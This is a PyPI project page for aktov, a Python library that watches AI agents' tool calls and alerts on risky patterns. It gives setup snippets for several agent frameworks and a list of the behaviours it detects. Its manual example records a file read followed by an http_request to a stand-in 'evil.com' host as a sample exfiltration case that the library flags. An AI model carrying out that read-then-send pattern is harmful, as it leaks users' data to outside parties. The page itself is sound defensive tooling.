Skip to main content

Detection engineering for AI agents. Alerts when agents do weird or risky things.

Project description

aktov

PyPI version License Python 3.12+

Detection engineering for AI agents.

pip install aktov — alerts when agents do weird or risky things.

Every act, on record.

Quick Start

Claude Code

pip install aktov
aktov init claude-code
# Done. Alerts appear in real-time during Claude Code sessions.
# Run `aktov report` to review after a session.

OpenAI Agent SDK

from agents import Agent, Runner
from aktov.integrations.openai_agents import AktovHooks

hooks = AktovHooks(aktov_agent_name="my-agent")
result = await Runner.run(agent, input="...", hooks=hooks)
response = hooks.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

LangChain

from aktov.integrations.langchain import AktovCallback

cb = AktovCallback(aktov_agent_name="my-agent")
agent.invoke("do something", config={"callbacks": [cb]})
response = cb.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

MCP

from aktov.integrations.mcp import wrap

traced = wrap(mcp_client, aktov_agent_name="my-agent")
result = await traced.call_tool("read_file", {"path": "/data/report.csv"})
response = traced.end_trace()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

Manual (any framework)

from aktov import Aktov

ak = Aktov(agent_id="my-agent", agent_type="custom")
trace = ak.start_trace()
trace.record_action(tool_name="read_file", arguments={"path": "/data/report.csv"})
trace.record_action(tool_name="http_request", arguments={"url": "https://evil.com", "body": "..."})
response = trace.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

No API key needed. Works immediately after pip install aktov.

Want to see it in action first? Try the Detection Lab — 5 demos that show real attack detection in 30 seconds.

Setup

Use aktov init to get framework-specific instructions:

aktov init claude-code      # writes hook config automatically
aktov init openai-agents    # prints code to add
aktov init langchain        # prints code to add
aktov init mcp              # prints code to add
aktov init custom           # prints manual API usage

Connect to Cloud

Add an API key to unlock cross-trace correlation, dedup, webhooks, and the full ruleset:

ak = Aktov(api_key="ak_...", agent_id="my-agent", agent_type="summarizer")

What It Detects

Aktov monitors AI agent tool calls and detects anomalous behavior patterns:

  • Data exfiltration — read followed by network egress to external domains
  • Capability escalation — agents accessing tools outside their authorized scope
  • Path traversal../ patterns in tool arguments (prompt injection indicator)
  • Credential abuse — non-credential agents touching secrets/vaults
  • Runaway agents — extreme chain lengths, burst failures, port scanning

Features

  • Plug-and-play: 1-2 lines to integrate with Claude Code, OpenAI Agent SDK, LangChain, MCP
  • Local rule evaluation: trace.end() evaluates bundled rules instantly — no cloud needed
  • Near-zero latency: hooks just append to memory — evaluation only runs at .end()
  • SAFE mode (default): raw arguments never leave your machine — only semantic flags are extracted
  • Custom rules: bring your own YAML detection rules via rules_dir
  • Cloud upgrade: add api_key for cross-trace analysis, dedup, webhooks, dashboard

CLI

# Set up for your framework
aktov init claude-code

# Review Claude Code session alerts
aktov report

# Scan trace files against detection rules (works offline)
aktov scan trace.json

# Preview what data would be transmitted
aktov preview --trace trace.json --mode safe

Custom Rules

Load your own YAML detection rules instead of the bundled samples:

ak = Aktov(agent_id="my-agent", agent_type="summarizer", rules_dir="./my-rules")

SAFE vs DEBUG Mode

SAFE (default) DEBUG
Raw arguments Stripped client-side Included
Semantic flags Extracted and sent Extracted and sent
Use case Production Development only

License

Apache-2.0

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

aktov-0.3.2.tar.gz (54.2 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

aktov-0.3.2-py3-none-any.whl (51.7 kB view details)

Uploaded Python 3

File details

Details for the file aktov-0.3.2.tar.gz.

File metadata

  • Download URL: aktov-0.3.2.tar.gz
  • Upload date:
  • Size: 54.2 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for aktov-0.3.2.tar.gz
Algorithm Hash digest
SHA256 64ba8b8dfc49f62f36c05e62a9d6ffb17e66cb9d5c4d97c4159cf3bfa94243ca
MD5 9aa6075cb08d3164a7ce136164a4d94a
BLAKE2b-256 1fde78d396b6072ed729cb541597a0b7deb53f08d624f0d23ad044c1866b52d9

See more details on using hashes here.

Provenance

The following attestation bundles were made for aktov-0.3.2.tar.gz:

Publisher: publish.yml on sharmaharjeet92/aktov

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file aktov-0.3.2-py3-none-any.whl.

File metadata

  • Download URL: aktov-0.3.2-py3-none-any.whl
  • Upload date:
  • Size: 51.7 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for aktov-0.3.2-py3-none-any.whl
Algorithm Hash digest
SHA256 6d12c25f72f58c9cff82049240e1f8c504b59b83691d0a9192dee95eb87b73dc
MD5 491b198fae539d7d6f5abaefcb98167d
BLAKE2b-256 375d2fc8014eacc2b261af9ce8d36ff079c04fc174a97af9e068ad4003b67b42

See more details on using hashes here.

Provenance

The following attestation bundles were made for aktov-0.3.2-py3-none-any.whl:

Publisher: publish.yml on sharmaharjeet92/aktov

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page